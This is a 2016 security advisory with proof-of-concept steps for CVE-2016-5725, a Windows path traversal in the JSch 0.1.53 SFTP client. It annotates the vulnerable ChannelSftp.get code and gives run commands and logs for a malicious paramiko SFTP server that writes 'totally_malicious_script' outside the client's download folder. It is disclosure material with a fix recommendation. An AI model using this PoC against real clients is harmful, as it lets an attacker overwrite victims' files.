Author: <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725
Version: 0.3
Date: Aug 31st, 2016
Tag: jsch recursive sftp get client-side windows path traversal
Name: jsch
Vendor: jcraft
References: * http://www.jcraft.com/jsch/ [1]
Version: 0.1.53 [2]
Latest Version: 0.1.53 [2]
Other Versions: <= 0.1.53
Platform(s): windows
Technology: java
Vuln Classes: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin: remote
Min. Privs.: post auth
CVE: CVE-2016-5725
quote website [1]
JSch is a pure Java implementation of SSH2. JSch allows you to connect to an sshd server and use port forwarding, X11 forwarding, file transfer, etc., and you can integrate its functionality into your own Java programs. JSch is licensed under BSD style license.
We have recognized that the following applications have used JSch.
* Ant(1.6 or later).
JSch has been used for Ant's sshexec and scp tasks.
* Eclipse(3.0).
Our Eclipse-CVSSSH2 plug-in has been included in Eclipse SDK 3.0. This plug-in will allow you to get ssh2 accesses to remote CVS repository by JSch.
* NetBeans 5.0(and later)
* Jakarta Commons VFS
* Maven Wagon
* Rational Application Devloper for WebSphere Software
* HP Storage Essentials
* JIRA
* Trac WikiOutputStreamPlugin
A malicious sftp server may force a client-side relative path traversal in jsch's implementation for recursive sftp-get allowing the server to write files outside the clients download basedir with effective permissions of the jsch sftp client process.
- affects recursive get, i.e. sftp :/* .
- post-auth
- file overwrite capability depends on the client specified mode:
ChannelSftp.get(...,mode==ChannelSftp.OVERWRITE)
- windows only
see attached PoC
* examples/Sftp.java::main::
c.get(p1, p2, monitor, mode);
* ChannelSftp.java::get(String src, String dst, SftpProgressMonitor monitor, int mode)
* ChannelSftp.java::_get(src,dst,monitor,mode,skip)
Inline annotations are prefixed with //#!
; Annotated var values based on PoC
File: ./src/com/jcraft/jsch/ChannelSftp.java
[3]
public void get(String src, String dst,
SftpProgressMonitor monitor, int mode) throws SftpException{
// System.out.println("get: "+src+" "+dst);
boolean _dstExist = false;
String _dst=null;
try{
((MyPipedInputStream)io_in).updateReadSide();
src=remoteAbsolutePath(src); //#! src=fancyfolder/*; dst=.
dst=localAbsolutePath(dst); //#! dst=<abspath(dst)>\.
Vector v=glob_remote(src);
int vsize=v.size();
if(vsize==0){
throw new SftpException(SSH_FX_NO_SUCH_FILE, "No such file");
}
File dstFile=new File(dst);
boolean isDstDir=dstFile.isDirectory();
StringBuffer dstsb=null;
if(isDstDir){ //#! True
if(!dst.endsWith(file_separator)){
dst+=file_separator;
}
dstsb=new StringBuffer(dst);
}
else if(vsize>1){
throw new SftpException(SSH_FX_FAILURE,
"Copying multiple files, but destination is missing or a file.");
}
for(int j=0; j<vsize; j++){
String _src=(String)(v.elementAt(j));
SftpATTRS attr=_stat(_src);
if(attr.isDir()){
throw new SftpException(SSH_FX_FAILURE,
"not supported to get directory "+_src);
}
_dst=null;
if(isDstDir){ //#! True
int i=_src.lastIndexOf('/'); //#! dstsb=<abspath(dst)>\.\
//#! _src=/fancyfolder//..\..\totally_malicious_script
if(i==-1) dstsb.append(_src); //#! not taken
else dstsb.append(_src.substring(i + 1)); //#! appends <abspath(dst)>\.\ + _src after last '/': <abspath(dst)>\.\ + ..\..\totally_malicious_script
_dst=dstsb.toString(); //#! store in _dst, thats our final dst
dstsb.delete(dst.length(), _dst.length());
//#! dtsb=<abspath(dst)>\.\
}
else{
_dst=dst;
}
File _dstFile=new File(_dst); //#! _dst=<abspath(dst)>\.\..\..\totally_malicious_script
if(mode==RESUME){
long size_of_src=attr.getSize();
long size_of_dst=_dstFile.length();
if(size_of_dst>size_of_src){
throw new SftpException(SSH_FX_FAILURE,
"failed to resume for "+_dst);
}
if(size_of_dst==size_of_src){
return;
}
}
if(monitor!=null){
monitor.init(SftpProgressMonitor.GET, _src, _dst, attr.getSize());
if(mode==RESUME){
monitor.count(_dstFile.length());
}
}
FileOutputStream fos=null;
_dstExist = _dstFile.exists();
try{
if(mode==OVERWRITE){ //#! if mode is overwrite
fos=new FileOutputStream(_dst);
}
else{
fos=new FileOutputStream(_dst, true); // append
}
// System.err.println("_get: "+_src+", "+_dst);
_get(_src, fos, monitor, mode, new File(_dst).length()); //#! actually download the file outside basedir: _dst=<abspath(dst)>\.\..\..\totally_malicious_script
}
finally{
if(fos!=null){
fos.close();
}
}
}
}
catch(Exception e){
if(!_dstExist && _dst!=null){
File _dstFile = new File(_dst);
if(_dstFile.exists() && _dstFile.length()==0){
_dstFile.delete();
}
}
if(e instanceof SftpException) throw (SftpException)e;
if(e instanceof Throwable)
throw new SftpException(SSH_FX_FAILURE, "", (Throwable)e);
throw new SftpException(SSH_FX_FAILURE, "");
}
}
...
//#! just for reference, this is the method that actually downloads the file. dst contains the traversal: dst=<abspath(dst)>\.\..\..\totally_malicious_script
private void _get(String src, OutputStream dst,
SftpProgressMonitor monitor, int mode, long skip) throws SftpException{
//System.err.println("_get: "+src+", "+dst);
...
Prerequisites:
- install python 2.7.x
- issue
#> pip install paramiko
to installparamiko
ssh library for python 2.x - run
poc.py --help
Usage: sftpserver [options]
-k/--keyfile should be specified
Options:
-h, --help show this help message and exit
--host=HOST listen on HOST [default: localhost]
-p PORT, --port=PORT listen on PORT [default: 3373]
-l LEVEL, --level=LEVEL
Debug level: WARNING, INFO, DEBUG [default: INFO]
-k FILE, --keyfile=FILE
Path to private key, for example /tmp/test_rsa.key
poc:
-
run
poc.py
to spawn the ssh/sftp stub listening for new connections on0.0.0.0:3373
:poc.py --host=0.0.0.0 --port=3373 -l DEBUG -k test_rsa.key INFO:__main__:[cve-2016-5725] sftp server starting... INFO:__main__:* generating fake files INFO:__main__:** /..\..\totally_malicious_script INFO:__main__:* setting up sftp server INFO:__main__:* monkey patching: chattr INFO:__main__:* monkey patching: list_folder INFO:__main__:* monkey patching: mkdir INFO:__main__:* monkey patching: open INFO:__main__:* monkey patching: remove INFO:__main__:* monkey patching: rename INFO:__main__:* monkey patching: rmdir INFO:__main__:* monkey patching: stat INFO:__main__:* monkey patching: symlink INFO:__main__:* starting sftp server... 0.0.0.0 3373
-
connect to
poc.py
using jsch sftp-client exampleexamples/Sftp.java
(any user, user password):sftp>
-
issue a recursive get (any remote folder will do for the PoC) to store all files from
remote:fancyfolder
to.
.Note: output may contain additional debug information not enabled by default in
examples/Sftp.java
Note: pwd is<path>\workspace-ee\jsch
Note: local output folder is.
(<path>\workspace-ee\jsch
)sftp> get fancyfolder/* .
-
client connects to
poc.py
with subsystem sftpDEBUG:paramiko.transport:starting thread (server mode): 0x350afd0L DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.0 DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-JSCH-0.1.53 INFO:paramiko.transport:Connected (version 2.0, client JSCH-0.1.53) DEBUG:paramiko.transport:kex algos:[u'ecdh-sha2-nistp256', u'ecdh-sha2-nistp384', u'ecdh-sha2-nistp521', u'diffie-hellman-group-exchange-sha256', u'diffie-hellman-group-exchange-sha1', u'diffie-hellman-group1-sha1'] server key:[u'ssh-rsa', u'ssh-dss', u'ecdsa-sha2-nistp256', u'ecdsa-sha2-nistp384', u'ecdsa-sha2-nistp521'] client encrypt:[u'aes128-ctr', u'aes128-cbc', u'3des-ctr', u'3des-cbc', u'blowfish-cbc'] server encrypt:[u'aes128-ctr', u'aes128-cbc', u'3des-ctr', u'3des-cbc', u'blowfish-cbc'] client mac:[u'hmac-md5', u'hmac-sha1', u'hmac-sha2-256', u'hmac-sha1-96', u'hmac-md5-96'] server mac:[u'hmac-md5', u'hmac-sha1', u'hmac-sha2-256', u'hmac-sha1-96', u'hmac-md5-96'] client compress:[u'none'] server compress:[u'none'] client lang:[u''] server lang:[u''] kex follows?False DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1 DEBUG:paramiko.transport:Cipher agreed: aes128-ctr DEBUG:paramiko.transport:MAC agreed: hmac-md5 DEBUG:paramiko.transport:Compression agreed: none DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo <built-in function openssl_sha1> DEBUG:paramiko.transport:Switch to new keys ... DEBUG:paramiko.transport:Auth request (type=none) service=ssh-connection, username=root INFO:paramiko.transport:Auth rejected (none). DEBUG:paramiko.transport:Auth request (type=password) service=ssh-connection, username=root INFO:paramiko.transport:Auth granted (password). DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes DEBUG:paramiko.transport:[chan 0] Max packet out: 32768 bytes DEBUG:paramiko.transport:Secsh channel 0 (session) opened. DEBUG:paramiko.transport:Starting handler for subsystem sftp
-
jsch sftp-client command
get fancyfolder/* .
callsopendir(/fancyfolder)
on the PoC sftp server which responds with a fake filelist forfancyfolder
listing the file/..\..\totally_malicious_script
.DEBUG:paramiko.transport.sftp:[chan 0] Started sftp server on channel <paramiko.Channel 0 (open) window=2097152 -> <paramiko.Transport at 0x350afd0L (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>> DEBUG:paramiko.transport.sftp:[chan 0] Request: realpath DEBUG:paramiko.transport.sftp:[chan 0] Request: opendir INFO:__main__:LIST (u'/fancyfolder'): [<SFTPAttributes: [ size=44 uid=0 gid=9 mode=0100666 atime=1472758892 mtime=1472758897 ]>] DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir DEBUG:paramiko.transport.sftp:[chan 0] Request: close
-
jsch sftp-client recursively downloads the files listed in the response to
opendir(/fancyfolder)
(sftp-get, filename includes traversal) by callingstat
,open
andread
on the file.a) jsch sftp-client calls
stat
on the filename as returned by the servers response toopendir
(with traversal):stat(/fancyfolder//..\\..\\totally_malicious_script)
b) the sftp-server (PoC) returns file attributes fortotally_malicious_script
(with traversal)
c) jsch sftp-client requests fileopen
on the path (with traversal):open(/fancyfolder//..\..\totally_malicious_script)
d) jsch sftp-client builds destination path by concatenating the destination folder (<path>\workspace-ee\jsch\.
) with the server provided filename/..\..\totally_malicious_script
stripping any data before and including/
of the filename, then receives the remote files contents:<path>\workspace-ee\jsch\.\..\..\totally_malicious_script
e) the resulting sftp-client local destination pathdst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script
is outside the basedir<path>\workspace-ee\jsch\.
sftp-server (PoC)
DEBUG:paramiko.transport.sftp:[chan 0] Request: stat INFO:__main__:STAT (u'/fancyfolder//..\\..\\totally_malicious_script') INFO:__main__:STAT - returning: totally_malicious_script INFO:__main__:** /..\..\totally_malicious_script DEBUG:paramiko.transport.sftp:[chan 0] Request: open INFO:__main__:OPEN: /fancyfolder//..\..\totally_malicious_script DEBUG:paramiko.transport.sftp:[chan 0] Request: read DEBUG:paramiko.transport.sftp:[chan 0] Request: read DEBUG:paramiko.transport.sftp:[chan 0] Request: read DEBUG:paramiko.transport.sftp:[chan 0] Request: close
sftp-client (jsch)
dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script _get: /fancyfolder//..\..\totally_malicious_script, java.io.FileOutputStream@7ccf3329 sftp>
-
downloaded file is stored in server controlled relative path on client
tintin@testbox ~<path>/workspace-ee/jsch $ ls ../../total* ../../totally_malicious_script
Q: ImportError: No module named py3compat
A: outdated paramiko
please upgrade with pip install --upgrade paramiko
- normalize and sanitize server provided path and filename, restrict basedir
- the PoC is a slightly modified version
stub_sftp.py
shipped with paramiko/tests [4].
Vendor response: see [5]
[1] http://www.jcraft.com/jsch/
[2] https://sourceforge.net/projects/jsch/files/?source=navbar
[3] https://sourceforge.net/projects/jsch/files/jsch/0.1.53
[4] https://github.com/paramiko/paramiko/blob/master/tests/stub_sftp.py
[5] http://www.jcraft.com/jsch/ChangeLog
https://github.com/tintinweb